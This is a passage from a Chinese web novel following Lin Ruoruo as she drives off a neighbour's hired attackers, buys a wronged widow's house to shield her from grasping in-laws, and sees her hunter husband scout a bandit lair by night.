“光天化日,拦路劫车,蓄意伤人,还威胁孩童。刘氏,你是嫌里正的惩处太轻,想直接去见官吗?按律,拦路**、伤及人畜,可是要杖责、流放的!”
刘婆子先是一惊,被“见官”、“流放”唬了一跳,但仔细一看,眼前不过是个面生的瘦弱妇人,胆气又壮了:
“放**屁!少吓唬老娘!这俩小崽子昨天伤了我,我今天教训他们,天经地义!你算哪根葱?识相的赶紧滚,不然连你一起打!”
说着,她对那两个青年使了个眼色。两人会意,狞笑着逼近,其中一个直接伸手去推林若若,另一个则想绕过她去抓赵林。
林若若早有准备。在对方手即将碰到她的瞬间,她脚下一错
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,看似慌乱地后退半步,袖中手指微弹,一撮细密的石灰粉精准地撒向了最近那青年的面门!
“啊!我的眼睛!”青年猝不及防,石灰入眼,顿时惨叫一声,捂着脸踉跄后退。
另一人见状一愣,动作稍缓。
林若若抓住这电光石火的空隙,藏在另一只袖中的手闪电般探出,指尖寒光一闪——浸过麻痹草汁的针已扎入他手臂的麻筋处!
那青年只觉得半条胳膊瞬间酸麻无力,惊愕地看向自己的手臂,还没明白怎么回事。
转瞬之间,两个帮手一伤一“废”,刘婆子看呆了。
她无论如何也想不到,这个突然冒出来的“村妇”手段如此刁钻诡异!
“你……你使的什么妖法!”
刘婆子又惊又怒,心头终于爬上一丝真正的恐惧。
但她仗着身大力不亏,又见对方只是个女子,凶性压倒畏惧,竟嗷嗷叫着,挥舞着粗壮的胳膊,像头蛮牛般朝林若若冲撞过来,想凭力气将她撞开!
林若若深知硬拼不过,在她冲近的刹那,身形灵巧地向侧后方一旋,同时脚下悄无声息地一勾——
那截早握在手中的细绳被她迅速拉起,绊在刘婆子冲来的路径上!
“哎——呀!”
刘婆子冲势太猛,收脚不及,被绳索一绊,顿时失去平衡,肥胖的身躯如同滚地葫芦般,“噗通”一声重重摔倒在地,啃了满嘴的泥尘,额头也磕在路面的石子上,立刻红肿起来,疼得她眼冒金星,哎哟惨嚎。
这一切发生得太快,从林若若出现到刘婆子倒地,不过十几息时间。
旁观的王老栓和几个村民都看傻了,简直不敢相信自己的眼睛。
铁蛋见他娘摔得狼狈,帮手也倒了,吓得哇一声哭出来,躲到树后不敢露头。
林若若看也不看地上嚎叫的刘婆子,快步走到惊魂未定的赵林赵峰身边,蹲下身,声音恢复了平日的柔和,却带着令人安心的力量:
“没事了,别怕。有……我在。”
第47章 救下孩子
林若若差点脱口而出“娘在”,幸好及时止住了。
但两个孩子看着她那双熟悉的眼睛,虽然面容被遮住,那眼神、那声音,还有刚才保护他们的果决……
赵峰忽然瞪大了眼睛,不确定地小声唤道:“……娘?”
赵林也紧紧盯着她。
林若若心中一叹,知道瞒不过最亲近的孩子。
她极轻微地点了点头,用只有他们能听到的气音说:“嗯。先别声张。”
两个孩子得到确认,紧绷的小身子瞬间放松下来,赵峰甚至往前蹭了蹭,依赖地靠近她。
赵林眼中则爆发出明亮的光彩,原本的恐惧被一种混合着骄傲与安心的情绪取代。
林若若站起身,看向挣扎着爬起来、额头冒血、浑身尘土、又惊又怒又怕的刘婆子,冷声道:
“今日之事,车夫与各位乡亲都是见证。是你先行凶在前。若再敢有下次,惊牛砸车、伤人未遂的罪名,我必告到镇上衙署,绝不轻饶!”
她又扫了一眼那两个哼哼唧唧的帮手和树后的铁蛋:“带着你的人,立刻滚!”
刘婆子此刻狼狈不堪,眼睛剧痛的侄子还在惨叫,另一个捂着胳膊脸色发白,自己额头也破了相,再看对方那鬼神莫测的手段和冰冷决绝的态度,哪里还敢逞强?色厉内荏地撂下一句,
“你……你们给我记着!”
便赶紧搀扶起两个侄儿,拽上哭哭啼啼的铁蛋,灰头土脸、一瘸一拐地钻进树林,逃也似的跑了。
王老栓这才长舒一口气,连忙检查牛和车。
牛受了些惊吓,好在没大碍,车轮轴裂了,需要修理,暂时是走不了了。
“这位……这位娘子,真是多谢你了!”王老栓心有余悸,对着林若若连连拱手,“不然今天非出大事不可!这刘婆子,简直无法无天!”
车上其他村民也纷纷道谢,看向林若若的目光充满了惊奇和感激。
林若若摇摇头,依旧压着声音:“路见不平罢了。只是这车……”
“我这就附近看看有没有人家能借工具,简单修一下,实在不行,只能回村换车了。”王老栓无奈道,“只是怕耽误了孩子们上学……”
林若若看了看天色,又看了看赵林赵峰,还有两个也背着布囊上学的孩子。
镇上学堂规矩严,迟到或缺席都可能影响课业甚至被责罚。
她沉吟片刻,忽然对王老栓道:
“王大哥,你看这样行不行。你留下修车,或者回村。我认得去镇上的小路,脚程快些,我送这四个孩子去镇上,应该能在学堂开课前赶到。”
王老栓有些犹豫:“这……娘子你?”
“放心,我常走山路,脚力还行。孩子们也走得动。”林若若语气笃定。
赵林赵峰立刻点头,表示自己能走。
王老栓见牛车确实一时半会儿走不了,又见识过这位“娘子”的能耐,便点头应允:
“那……那就有劳娘子了!路上千万小心!”
林若若不再耽搁,对他们低声道:“跟紧我,我们走小路。”
赵林赵峰自然点了点头,大步跟上,另两个孩子跟赵林差不多大,一个个子高,眼睛小,一个个子矮一些,但眼睛又圆又亮。
两人看着林若若救了自己,先给林若若鞠躬作揖,
“小子赵恒多谢婶娘救命之恩。”
“小子赵睿多谢婶娘救命之恩。”
高个的是赵恒,矮一点的是赵瑞。
都是赵家村的孩子。
林若若赶紧扶着他们的手臂,温和地说:“路见不平拔刀相助,孩子们莫要客气,咱们赶紧走吧。”
“嗯,都听婶娘的。”
林若若带着四个孩子,快步拐入另一条更隐蔽、但确实能通往镇上的林间小径。
一路上,林若若很少和几个孩子说话,她怕被人听出来,也怕分神,走慢了,耽误孩子们上学。
把四个孩子送到了私塾门口,亲眼看着他们进去,林若若才转身离开。
走出一段距离,确定无人看见,她才解下头巾,擦去脸上的伪装,露出原本清丽的容颜。
只可惜,她没有注意到,身后有一双眼睛正死死地盯着她……
“王嬷嬷,你确定她还是处子之身?”
镇上的“春雨”茶楼二楼,一个穿着考究的青年男子,用折扇挡着脸,只露出一双有些阴沉的眼睛,问到身边的一个嬷嬷。
“公子放心,老奴绝不会看走眼。”王嬷嬷
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眯着眼睛,看着街上正在前行的林若若,斩钉截铁。
茶楼之上,魏天赐的目光如附骨之疽,紧紧黏在林若若逐渐远去的背影上。
直到那抹素色身影消失在街角,他才缓缓收回视线,指节无意识地将折扇捏得“咔”作响。
王嬷嬷觑着他的脸色,压低声音道:
“公子,老奴瞧得真切,那林姑娘方才护着孩子时,行动间利落干脆,腰肢却仍是未嫁少女的挺直轻盈,眉眼清澈,绝非妇人形态。只是……”
她顿了顿,“只是这通身的气度胆魄,倒比在侯府时更胜几分,全然不似寻常村姑。”
魏天赐没接话,脑海中却反复闪现着方才所见:
林若若头巾虽遮了半张脸,但那双露出的眼睛,寒星般亮得惊人;
她扶着孩子时,指尖那不经意的温柔;还有她转身离去时,那挺直如修竹的背影,透着一股他从未在何美美——不,是如今顶着“永平侯府嫡女”名头的何美美——身上见过的、从骨子里透出的清韧。
何美美……
想起那张涂了厚厚脂粉也掩不住暗黄肤色的大圆盘子脸,那故作娇憨却时常流露算计的小眼睛,那因贪嘴而日渐臃肿的腰身,还有她身上挥之不去的、混合了廉价香粉和某种他难以言喻的庸俗气息,魏天赐胃里便是一阵翻腾。
偏偏母亲和承恩侯府如今都看重这“归位”的真千金背后可能带来的利益牵连,这桩婚事已是板上钉钉。
他不甘心。
当初与林若若定亲,虽是父母之命,但彼时她是名满京华的永平侯嫡女,才貌双全,举止娴雅,他内心也是暗自满意的。
虽然后来爆出抱错之事,她被打回原形,成了乡下农户之女,婚事自然告吹,可上次在林家惊鸿一瞥,她虽布衣荆钗,那份灼目的光华非但未减,反因这粗粝环境的磨砺,褪去了侯府闺阁的矜贵娇气,生出一种更鲜活、更夺目的生命力来。像蒙尘的明珠,稍经擦拭,便熠熠生辉。
他,更心动了~
而何美美……不过是鱼目混珠,还自以为是宝珠。
“公子,”
王嬷嬷见他神色变幻,阴晴不定,小心试探,“接下来我们怎么办?”
第48章 霸占房产
魏天赐握紧了拳头!
三十亩良田!
自己不差这点地,可林若若那灵动的眼睛,丰满有致的身子却几乎夜夜出现在他的梦里……
可是他不敢轻举妄动。
那个赵长风有点凶……
而且自己有把柄在他们那~
“派人去打探一下,她那个猎户相公最近在不在家~”
“是,世子。”
王嬷嬷一听,看来是时常不在家,有戏~
林若若送完孩子,就往镇子口走去,她想看看有没有去赵家村的牛车,实在是走得脚疼。
到了镇子口,王老栓的牛车不在,林若若叹了口气,只好坐了一辆到隔壁村的牛车,等到了隔壁村,再走回家去。
还没到村口,就听见村里有撕心裂肺的哭声传来。
林若若惊了一下,生怕是小静出事了。再一想,自己把她放在空间里了,这才松了口气。
看来得想个法子了,孩子坐牛车太慢,还危险,可是自家的骡车被赵长风带走,进山打猎去了。
怎么办呢?
头疼~
拖着疲惫的身子进了村,哭声越发清晰,越发撕心裂肺。
往前走了一小段路,就看到很多人围着一户人家,哭声就是从这里传出来的。
林若若走过去,柳阿婆最先看到了她。
“若若,你也来了。”
柳阿婆一把抓住她的胳膊,把她拉到自己身边。
“出什么事了,阿婆?”林若若有些担忧。
“这是孙寡妇家。她男人**十几年了,自己辛辛苦苦带大了一个儿子,如今正在县里的致远书院读书,已经是个秀才了呢。”柳阿婆语气有些恍惚。
“那不是挺好吗?这会儿哭啥呢?”
“她那婆母来了!原本她男人**以后,她跟孩子就被婆家赶出来了,住在了这个房子里。这房子原本就是个草棚。她几年她不断地从山上捡木头,从河边捡石头,再加上她儿子赵熠是秀才,每月都有银子和粮食,因此孙寡妇就一点一点把这草棚改建成如今这样三间亮堂的正房。”
柳阿婆看着院子里正在给婆母磕头的孙寡妇,无声地叹了口气。
林若若眼神冷了下来,“她这婆母不会是来要这个房子的吧?!”
柳阿婆拍了拍林若若的手背,
“你可说对了!她婆母家的大孙子要成亲了,可是家中房子少,就打起了这个房子的主意。”
“这人也太坏了吧!”林若若觉得自己的后槽牙有点疼,想咬人!
她又问了柳阿婆几句话,然后拨开人群走到前面。
孙寡妇已经哭得声音嘶哑,额头上磕出了一片青紫,嘴里不断地哀求,“娘,我求求你了,这个房子是我和熠哥的家啊!”
而旁边一个三角眼、颧骨高耸的老妇正叉着腰,唾沫横飞:
“……这房子是我儿子的!我儿子没了,就该归他爹娘兄弟!你一个外姓寡妇,霸占着我们赵家的房产十几年,如今大郎要成亲,你还不赶紧腾地方?”
“娘,求求您……”孙寡妇又要跪下,被林若若一把扶住。
“这位阿婆,”林若若声音清亮,压过了嘈杂,“你说这房子是你儿子的,可有凭证?”
老妇一愣,斜眼看她:“你谁啊?多管闲事!全村谁不知道这房子当初是我儿子盖的草棚子?”
“是草棚没错,”
林若若不急不缓,
“可我也听说,当年您二老将守寡的儿媳和幼孙赶出家门,只给了这个漏风漏雨的草棚栖身,还在里正那儿立了字据,言明自此两清,草棚和地都归孙婶子所有,生死嫁娶,再不干涉。这话,可还在里正老爷的簿子上记着呢。”
人群嗡地议论开来。当年这事做得绝,很多人都知道。
老妇脸色一变,随即耍横:
“那又怎样?字据上写的是‘草棚’!你看看现在这是什么?三间正房!这砖瓦木料,难道是从天上掉下来的?这是我赵家的钱、我赵家的力盖起来的!她一个妇道人家,哪来的本事?还不是靠我死去的儿子留下的福荫!”
“砖瓦木料,是孙婶子这些年把木头一根根从山上扛下来,石头一块块从河边背回来,一点点攒的。她白日种地、夜里纺线,供儿子读书,还要修这
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房子。村里谁没看见过她背着比人还高的柴捆?”柳阿婆忍不住出声。
“就是!熠哥儿的廪粮银子,孙嫂子自己一个铜板都舍不得花,全给了孩子读书买笔墨,这房子是她用血汗垒起来的!”有村民附和。
“没错!孙寡妇日日都是天不亮就上山,天黑了才回来!”
“我也亲眼见过!那比个寻常男人还能干呢!”
大家众说纷纭,义愤填膺。
老妇见势不妙,一屁股坐在地上嚎哭起来:
“我苦命的儿啊!你**,娘就被欺负啊!辛辛苦苦养大的孙子成了秀才,就不认我这奶奶了!连个房子都不让弟弟住啊……”
她料定孙寡妇性子软,儿子又不在跟前,只要闹得凶,不怕她不就范。
而且古代人对于孝道尤其看重,如果赵熠不孝的名声传出去,他的科考之路就完蛋了。
因此这老妇才敢这么的有恃无恐。
林若若看着孙寡妇绝望的眼神,心中主意已定。
她蹲下身,直视孙寡妇,大声却清晰地问:“孙婶子,这房子,是你和你儿子的安身立命之所,你当真愿意让出去?”
孙寡妇含泪拼命摇头“不!我不愿意!……”
“那好,”林若若站起身,朗声道,“既然这位阿婆口口声声说这房子已非当年草棚,归属有争议,而孙婶子又绝不愿让出自己辛苦建成的家。那我倒有个法子。”
众人安静下来,看向她。
“这房子和地,孙婶子,你愿不愿意卖给我?”
林若若声音不大,却如石子入水,“按市价,该多少银两,我分文不少给你。银钱你拿着,或另寻地基起屋,或去做些小买卖,或留着给你儿子将来赶考,都由你。而这房子既然成了我的产业,”
她转向那婆母,眼神微冷,
“自然由我说了算。无关人等,想强占民宅,咱们就去县衙说道说道。正好,赵熠是秀才,见了县尊老爷也能说得上话,总得讲个‘理’字。”
那婆母的哭嚎戛然而止,三角眼瞪得溜圆。
这赵长风家的小娘们,是要搞哪样?!
第49章 心软又善良
孙寡妇的婆母几乎咬碎了后槽牙!
她敢欺负孤儿寡母,却绝不敢跟一个能拿出真金白银买房子、而且明显不怕事的年轻妇人去衙门硬碰硬。
听说林若若这女人是京城里的大户人家出来的。
更何况,林若若的猎户相公赵长风,在十里八乡也是有名气的不好惹。
孙寡妇也呆了,她看着林若若,嘴唇颤抖:“赵娘子,这……这怎么行?这房子我……”
“你自己考虑。考虑好了再说话!”林若若用力握了握她的手,语气平淡。
孙寡妇的眼泪大颗滚落,她不是个傻子。长风媳妇的眼睛里的心疼,她读懂了。
她紧紧回握林若若的手,用力点头,“这房子连同房子后面的菜地,我卖了!请里正和村长做个见证!”
那婆母眼见如意算盘要落空,一骨碌爬起来,指着林若若:“你,你就是个骗子!……你和她合伙骗人!你们这是做局!”
“是不是做局,里正和村长,还有咱们赵家村的百姓都看着呢!更何况还有契约文书说了算。”林若若说话清晰干脆,条理分明,周围的认人不断点头。
林若若不再看她,扶起孙寡妇,
“走吧,孙婶子,咱们现在就去里正家。正好,当年那份分家字据,也该请里正再拿出来给大家念念,看看到底是谁在无理取闹!”
她声音铿锵,目光扫过围观的村民,最后落在那脸色一阵红一阵白的婆母身上。
阳光下,林若若纤细柔弱的身影挺拔而清晰,仿佛一道墙,暂时挡住了即将倾覆的**。
到了里正家,在众人簇拥下,林若若扶着孙寡妇,身后跟着面色铁青的婆母,一同来到了里正赵德全家中。
赵德全听罢前因后果,又仔细验看了当年那份泛黄的分家字据,上面白纸黑字写着“草棚一处并周边三分地归孙氏母子,日后两不相干,各自安生”,还有孙寡妇亡夫父母兄弟的指印。
“白纸黑字,清清楚楚!”
赵德全将字据拍在桌上,看向孙婆母,
“赵孙氏,当年你们将孤儿寡母赶出家门,只予破棚,立此字据以求心安。如今见孙氏母子将日子过起来了,熠哥儿成了秀才,房子也修整好了,便又来强夺,天底下没有这样的道理!”
孙婆母还想撒泼,被里正威严的目光和周围村民的指指点点逼得缩了脖子,只敢小声嘟囔:“那……那也不能便宜了外人……”
林若若适时开口:
“里正叔,村长叔,还有各位乡亲做个见证。我怜惜孙婶子不易,也敬佩赵熠兄弟寒窗苦读。今日我愿出市价,买下孙婶子这处宅基连同地上的三间房。孙婶子得了银钱,或可傍身,或可助赵熠兄弟安心科举。里正叔,你帮着参谋个价钱。”
里正赵德全抚着花白的胡须,和村长商量了一下,说道:“这房子加地基,加屋后的的三分良田,全部卖掉的话,最少八十五两,最多一百两白银。”
林若若上前一步,“一百两,我买了!”
之后,她转向孙寡妇,语气温和却坚定,
“孙婶子,你若愿意,我便以每月五百文的价钱,将这房子回租与你居住,租期随你定,一年、三年、十年皆可。只要我林若若还是房主,便无人能再将你们母子赶出去!”
此言一出,众人哗然。
一百两银子买这村中房产,价格公道甚至算得上优厚。
每月五百文的租金更是低廉,显见是林若若在变着法儿帮孙寡妇保住家宅,又给她一笔活钱。
孙寡妇泪如泉涌,又要给林若若跪下,被死死拉住。
“赵娘子,你的大恩大德,我……我孙玉娘这辈子做牛做马报答你!”
“孙婶子快别这么说,咱们立契按手印吧。”林若若扶她坐下。
在里正和村长的见证下,买卖契约并租赁契约很快写好。
林若若当场回家,拿了九十两银票,外加十两现银付给了孙寡妇。
孙寡妇颤抖着手接过银钱,紧紧抱在怀里,仿佛抱住了儿子未来的前程和眼下安稳的日子。
那孙婆母眼看一百两银子进
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了孙寡妇的口袋,房子却彻底没了指望,眼红心热,又嫉又恨,最后在众人鄙夷的目光和里正的严厉训诫下,灰溜溜地走了,临走前还恶狠狠地瞪了孙寡妇和林若若一眼。
事情圆满解决,人群散去。
夕阳的余晖将孙寡妇家的小院染成一片暖金色,院子里看热闹的村民已渐渐散去,只留下些许窃窃私语的余音。
孙寡妇——孙玉娘,紧紧攥着手里那张还带着墨香的契书和沉甸甸的银钱,仿佛握住了溺水时唯一的浮木。
她脸上的泪痕未干,额头的青紫在暮色中格外显眼,但那双原本绝望的眼睛,此刻却因为林若若的出现,重新燃起了一点微弱却顽强的光。
“赵娘子,说什么你也得留下吃口便饭!”
孙玉娘一把拉住正要转身的林若若,手指因为用力而微微颤抖,声音嘶哑却急切,
“家里……家里还有半瓢白面,我这就去擀面条,再摊个鸡蛋……你为我们母子做了这天大的事,我……我不知该怎么谢你,只能……”
她语无伦次,眼神里满是近乎卑微的恳求与感激,似乎只有用一顿饭,才能稍稍安放她心中汹涌澎湃却无法言表的情意。
林若若反手握住孙玉娘冰凉粗糙的手,指尖传来的温度让孙玉娘又是一颤。
林若若的目光温和而坚定,脸上带着一丝令人安心的浅笑,她轻轻拍了拍孙玉娘的手背,动作带着安抚的力量。
“孙婶子,你的心意我领了,”
林若若的声音清润柔和,如同晚风中摇曳的风铃,驱散了院中残存的压抑,
“但这饭,今天真的不能吃。你看你,额头还伤着,心神也耗了大半日,该好好歇着,收拾收拾,也让这心里头踏实下来。我也得赶紧回去看看小静,那孩子自己在家呢。改日咱们两家一起吃饭。”
她说着,目光关切地扫过孙玉娘额上的伤,眉头微蹙,随即又舒展开,语气转而带上几分郑重:
“孙婶子,有几件事,我得再跟你念叨念叨,你务必记在心里。”
第50章 未雨绸缪
林若若神色严肃,
“第一,这银钱,”林若若的眼神落在孙玉娘紧紧抱在怀中的布包上,“一百两不是小数,你独自收着,难免心中不安,也怕有那起子小人惦记。”
她看到孙玉娘下意识地把布包抱得更紧,眼中闪过一丝惊惶,便放缓了语调,
“我不是不信你,是怕你一个人压力太大。我的意思是,你可以把这银钱分作几处。一部分换成小额的银锭或铜钱,藏在只有你自己知道的地方,日常用度方便。那大额的银票,”
她略微沉吟,“若是信得过,不妨请村长或里正帮你保管一部分。他们都是村里有威望、心眼正的人,替你存着,也替你做个见证,将来无论是要用,还是有人来聒噪,都有个凭据。或者和赵熠商量一下怎么放。毕竟这会儿全村都知道你家有一百两银子。你觉着呢?”
孙玉娘听着,眼眶又红了,但她用力眨了眨眼,把泪意逼回去,重重地点头,声音哽咽:
“哎,哎!我记下了!赵娘子你想得周到……我……我回头就去找里正商量。”
她并非不懂人情世故的愚妇,只是方才被逼到绝境,乱了方寸,此刻经林若若一点拨,立刻明白了其中的利害关节。
“第二,”林若若神色更加严肃了些,她压低声音,凑到孙玉娘面前,
“赶紧给熠哥儿捎信。把今天这事原原本本地告诉他,让他心里有个底。重点要说明,房子是卖了,但你们母子依旧住在这里,只是换了东家,安生日子没变。更要紧的是,”
她停顿了一下,目光清亮地直视孙玉娘,
“让他知道,他那祖母和叔伯可能会去书院寻他,用‘孝道’、‘家族’这些名头来压他,逼他点头同意让房子,甚至索要银钱。你得在信里给他定心骨,告诉他家里的决定已是最终,有契书为凭,有里正和全村人见证,让他千万别慌,也别怕,更不必因为那些人的胡搅蛮缠影响了学业。若是真有人去书院闹,让他直接禀明山长或斋长,请书院主持公道。一个前程大好的秀才,书院不会不管。”
孙玉娘听得连连吸气,脸上露出后怕的神情。
她光顾着眼前的难关,确实还没想到远在县学的儿子可能会面临的压力。
“对对对!你说得对!我今晚……不,我这就去找隔壁读过两年书的李小子帮我写!不行,我明日亲自去一趟县城!我得赶紧让熠儿知道!”她急急地说着,仿佛儿子下一秒就要被人欺负了似的。
林若若见她听进去了,这才稍稍放松了紧绷的神色,露出一丝宽慰的笑:
“最后,孙婶子,你自己也要放宽心。难关已经过了,银钱在手,房子也能安稳住着,熠哥儿的前程比什么都重要。往后日子还长,好好照顾自己,才能让熠哥儿安心读书,是不是?”
她说完,又轻轻拍了拍孙玉娘的胳膊,然后环顾了一下这个刚刚经历风波却终于保留下来的小院。
三间正房在夕阳下显得朴实而坚固,院子里孙玉娘平日收拾得井井有条,角落还晒着一些山野菜干。
这是个充满生活痕迹和坚韧气息的家。
孙玉娘千恩万谢,执意要送林若若到院门外。
她站在门槛内,望着林若若渐行渐远的背影,那背影在金色的夕阳下拉得很长,显得格外挺拔而有力。
孙玉娘抹去不知不觉又流下的眼泪,这一次,不再是绝望的泪水,而是混杂着感激、希望和重新燃起的勇气。
她紧紧抱着怀里的布包,感受着那份沉甸甸的踏实感,心里默默念着:熠儿,娘一定守住这个家,你好好读书……
林若若走在回家的土路上,晚风拂面,带来田野的清新气息。
她回想方才孙玉娘的眼神,心中那点因花费百两银子可能带来的淡淡忧虑彻底消散了。虽然她知道这村里的房子值不了这么多钱。
但能护住一个母亲和学子的希望,比什么都值得。
至于那可能的觊觎和未来的风雨……她嘴角微抿,眼中闪过一丝如磐石般的坚定。
既然伸了手,这个忙,她就会帮到底。
回家的路上,柳阿婆拉
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着林若若的手感慨:
“若若,你今天可是做了件大善事啊!只是……你家长风回来,会不会怪你自作主张花了这么一大笔钱?”
林若若笑了笑,眼神清澈而坚定:
“阿婆放心,长风他懂的。钱财是身外物,能帮到真正需要帮助的人,值得。再说,这房子地契在我手里,也是份产业不是?”
她心中却另有一番思量。
今日之事,看似一时义愤花了一百两银子,但她观察过孙家房子的位置和构造,靠近村口,交通便利,房屋也结实。
将来赵熠带着孙寡妇远去赴任,这房子无论是自用、出租,还是万一需要,都是一处不错的资产。
更重要的是,她以此举在村里明确树立了自己的形象——有善心,更有决断和实力,不好欺。
至于赵长风……
林若若相信,那个虽然沉默寡言却内心有秤的男人,会明白她的。
他的眼睛,不会骗她,她相信自己的眼光~
到了家门口,林若若不经意间往隔壁王婆子家看去,院门紧闭,大门紧锁,已经好几天没开门了。
她的眼神闪了闪,嘴角露出一丝冷笑。她怀疑上次男人闯进家里想要侮辱她,就是王婆子通风报信。
毕竟他们两家就一墙之隔。
上次,自己吃了那么大的亏,总有一天,她要连本带利地讨回来。
到了门口,拿出钥匙,她看了看自己夹在门缝里的一棵稻草还在原来的地方,这才打开了门。
门一开,小白就摇着尾巴扑过来,还咧着着个小嘴,傻笑着~
“娘亲回来了~小白乖啦,娘亲给你带好吃的!”林若若抱着小白,摸着他的小脑袋,亲了亲他的小鼻头,然后从空间拿出一块生肉,还有一根猪棒骨丢给了他,让他自己磨牙去。
把小静从空间抱出来,叫醒了她,小静伸着拦腰,揉着眼睛,扑进了林若若怀里,“娘亲~”
林若若的心头柔软一片,吻了吻她的额头,“起来吃饭啦!小懒猪~”
逗得小静呵呵直笑~
第51章 深山遇险
夜色如墨,浓稠得化不开。
赵长风的身影在村口老槐树下与另外几个黑影汇合。
除了傻根憨厚的面孔在微弱月光下依稀可辨,还有五个陌生人——都是县里征调的猎户,彼此只是微微颔首,没有多余的寒暄。
领头的是一名姓王的县衙捕快,三十出头,面容精干,腰间挎刀,压低声音道:
“人都齐了。规矩再说一遍:禁火,禁声,跟紧。此行凶险,但赏钱丰厚——每人五十两,若立大功另有重赏。有想退出的,现在说。”
无人作声,只有夜风吹过树梢的沙沙响。
“走。”王捕快一挥手,率先没入黑暗中。
赵长风拉了拉背囊的带子,感受着侧袋里那个小包袱的轮廓,脑海中闪过林若若绝美的脸庞,平静的眼神,还有那句“家里有我”。
他闭了闭眼,将那一丝不该在此刻浮现的柔软压回心底,再睁开时,眼神已冷硬如铁。
队伍呈单列悄无声息地行进。
猎户们常年穿行山林,脚步轻盈得几乎不发出声响。
只有傻根偶尔踩断枯枝的轻微“咔嚓”声,在寂静中格外清晰,随即引来王捕快警告的一瞥。
赵长风走在傻根前面,侧耳听着身后动静,心下稍安。
傻根虽憨,但功夫好、力气大、听话,最重要的是可靠——这是赵长风愿意带他一起进山的原因。
一行人沿山脚隐蔽的小径快速移动,避开可能有眼线的村庄和大路。
月光偶尔从云隙漏下,照亮前方蜿蜒如蛇的山道和两侧张牙舞爪的树影。
约莫一个时辰后,他们抵达黑风岭外围的密林边缘。
王捕快抬手示意停下,众人迅速隐蔽在树后或岩石阴影中。
“再往前就是土匪活动的区域了。”
王捕快声音压得极低,几乎贴着每个人的耳朵,
“根据线报,他们劫了粮饷后应该藏匿在老巢附近的一处山洞,但具体位置不明。我们今晚的任务是摸清外围岗哨和进山路径,不可打草惊蛇。”
他扫视众人:“赵长风,听说你是这山里最好的猎户,熟悉地形?”
赵长风点头:“打过几次交道。”
“好,你带路。我们需要一条能隐蔽接近土匪活动区域的小道。”
赵长风没有立即回答,而是凝神倾听。
夜风带来远处隐约的水声、虫鸣,还有……一丝极淡的烟味。
他抬眼望向东北方向的山脊,在月光下,那里地势险峻,密林覆盖。
“有条猎道,很窄,但能避开几个常设的哨点。”赵长风终于开口,“不过要过一处断崖,需要绳索。”
王捕快从背囊中取出一捆麻绳:“这个够吗?”
赵长风掂了掂:“够。”
队伍再次移动,这次由赵长风领头。
他像一只真正的山豹,在几乎看不见路的林间穿行,时而俯身查看地面痕迹,时而驻足辨别风向。
其他几人紧跟其后,连呼吸都刻意放轻。
约莫半个时辰,前方传来潺潺水声。一条溪流横在眼前,宽约两丈,水流湍急。
“从这下水,顺流半里,能避开山腰那个瞭望点。”赵长风边说边开始脱外衣,“水冷,但快。”
王捕快皱眉:“没有别的路?”
“有,要多绕一个时辰,且经过一片开阔地,容易被发现。”
众人对视一眼,不再犹豫,纷纷开始整理装备。
赵长风将背囊和柴刀用油布包好系紧,率先踏入溪中。
刺骨的冰冷瞬间穿透衣物,他咬紧牙关,稳住身形,向对岸趟去。
傻根第二个下水,笨拙但坚定。
其余人依次跟上。
溪水不深,只及胸腹,但水底石头湿滑,水流冲力又大,走得艰难。
赵长风不时回头,确认傻根和其他人是否跟上。
月光下,他看到傻根脸色发白,但眼神专注,每一步都踩得扎实。
突然,队伍后方传来一声压抑的闷哼。
一个年轻些的猎户脚下一滑,险些被水流冲倒,手中柴刀脱手,“扑通”一声落水。
这声响在寂静的夜里格外刺耳。
所有人都僵住了。
赵长风迅速扫视对岸山林,手已按上腰间柴刀。
王捕快脸色铁青,死死盯着声音传来的方向。
时间仿佛凝固了。
数息之后,对岸山腰处,
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一点火光骤然亮起,随即又迅速熄灭。但这一明一灭,在黑暗中已经足够显眼。
“被发现了。”王捕快从牙缝里挤出三个字。
赵长风当机立断:“快过河!上对岸找掩体!”
众人不再掩饰动静,奋力向对岸冲去。
刚踏上岸边的碎石滩,就听对岸林中传来一声尖锐的哨响——是土匪的警报!
“跟我来!”赵长风低喝,带头冲向密林深处。
他记得这附近有一处猎人躲避暴雨的石缝。
众人连滚爬爬跟着他,刚在一处岩石夹缝中隐蔽好,就听对岸传来杂乱的脚步声和吆喝声。
火把的光在树林间晃动,隐约可见七八个人影。
“**,刚是什么动静?”
“好像是水声……”
“会不会是野猪?”
“野猪个屁!这季节野猪不下山!搜!仔细搜!”
土匪开始沿着溪流搜索,火把的光越来越近。
石缝狭窄,六个人挤在里面几乎无法动弹。
赵长风能感觉到身边傻根粗重的呼吸,还有另一个猎户微微颤抖的身体。
王捕快握刀的手背青筋暴起,眼神凌厉如鹰。
一个土匪举着火把走到了溪边,距离他们的藏身处只有不到十丈。
火光映出一张凶悍的脸,一道刀疤从眉骨斜到嘴角。
刀疤脸蹲下身,查看岸边的痕迹。
赵长风心中一惊——刚才上岸匆忙,碎石滩上肯定留下了脚印。
果然,刀疤脸发现了什么,凑近细看,随即猛地抬头,目光扫向这片乱石区。
“这里有脚印!新鲜的!”他高声喊道。
其他土匪立刻围拢过来,火把的光将这片区域照得半明半暗。
石缝中,所有人都屏住了呼吸。
赵长风的手缓缓移向背囊侧袋,摸到了那个小包袱。
如果被发现,唯有死战。
“头儿,会不会是猎户?”一个年轻土匪问。
刀疤脸眯着眼,目光在乱石堆中扫视:“大半夜的,哪个猎户会来这儿?搜!每一块石头后面都给我看看!”
两个土匪应声,提着刀向乱石堆走来。
一步,两步……
第52章 引狼**
赵长风能听到自己的心跳如擂鼓。
他侧头看了眼王捕快,捕快微微点头,眼神决绝——准备拼命。
就在此时,远处山林中突然传来一声悠长的狼嚎。
紧接着,又是一声,更近了些。
土匪们停住了脚步,警惕地望向声音传来的方向。
“头儿,是狼群……”年轻土匪声音发颤。
刀疤脸啐了一口:“**,这季节怎么会有狼群?算了,撤!黑灯瞎火的,别被狼掏了屁股。留两个人在这里盯着,其他人回哨点。”
他显然更忌惮狼群,带着大部分人撤走了,只留下两个土匪蹲守在溪边暗处。
石缝中,众人长长舒了一口气,但没人敢完全放松。
赵长风透过石缝仔细观察那两名留守土匪的位置——一个在溪边大石后,一个在对岸树丛中,互为犄角。
“不能等天亮。”王捕快用气音说,“天亮我们就完全暴露了。”
赵长风点头,脑中飞速运转。
他盯着溪水,又抬头看向天空——云层渐厚,月光越来越黯淡。
“等云完全遮住月亮。”他低声说,“我引开他们,你们趁机过溪,往北走半里,有一片石林,在那里等我。”
“你怎么引开?”王捕快皱眉。
赵长风从背囊中摸出两块碎石,又从怀里掏出一小截细绳——这是他随身带的捕猎工具之一。
“用这个制造动静,把狼群引过来。”
